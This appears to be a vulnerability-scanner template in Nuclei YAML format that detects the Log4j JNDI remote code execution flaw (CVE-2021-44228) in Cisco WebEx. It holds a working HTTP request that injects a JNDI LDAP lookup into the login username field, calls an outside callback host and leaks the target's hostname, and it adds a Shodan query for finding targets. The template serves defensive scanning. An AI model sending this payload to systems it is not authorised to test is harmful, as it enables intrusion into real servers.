67 lines
2.3 KiB
YAML
67 lines
2.3 KiB
YAML
id: cisco-webex-log4j-rce
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info:
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name: Cisco WebEx - Remote Code Execution (Apache Log4j)
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author: shaikhyaser
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severity: critical
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description: |
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Cisco WebEx is susceptible to Log4j JNDI remote code execution. Cisco WebEx provides web conferencing, videoconferencing and contact center as a service applications.
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reference:
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- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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max-request: 1
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shodan-query: title:"Cisco WebEx"
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tags: cve,cve2021,rce,jndi,log4j,cisco,webex,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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str: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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POST /orion/login?siteurl=meet HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Referer: {{RootURL}}/orion/login?siteurl=meet&rnd=0.1359184728177283
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X-Requested-With: XMLHttpRequest
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Content-Type: application/x-www-form-urlencoded
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type=getFailureTimes&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&bAjax=true
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part: interactsh_request
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# digest: 4a0a00473045022042bdc493eb4ec91bbcbcd56ef58972f45032f56c91a340ccc75e523f1953badf022100b70c8852cc0ae3850e5574cc27f06e2eaed76319f53bbb9e1cfe7a4061bd3640:922c64590222798bb761d5b6d8e72950
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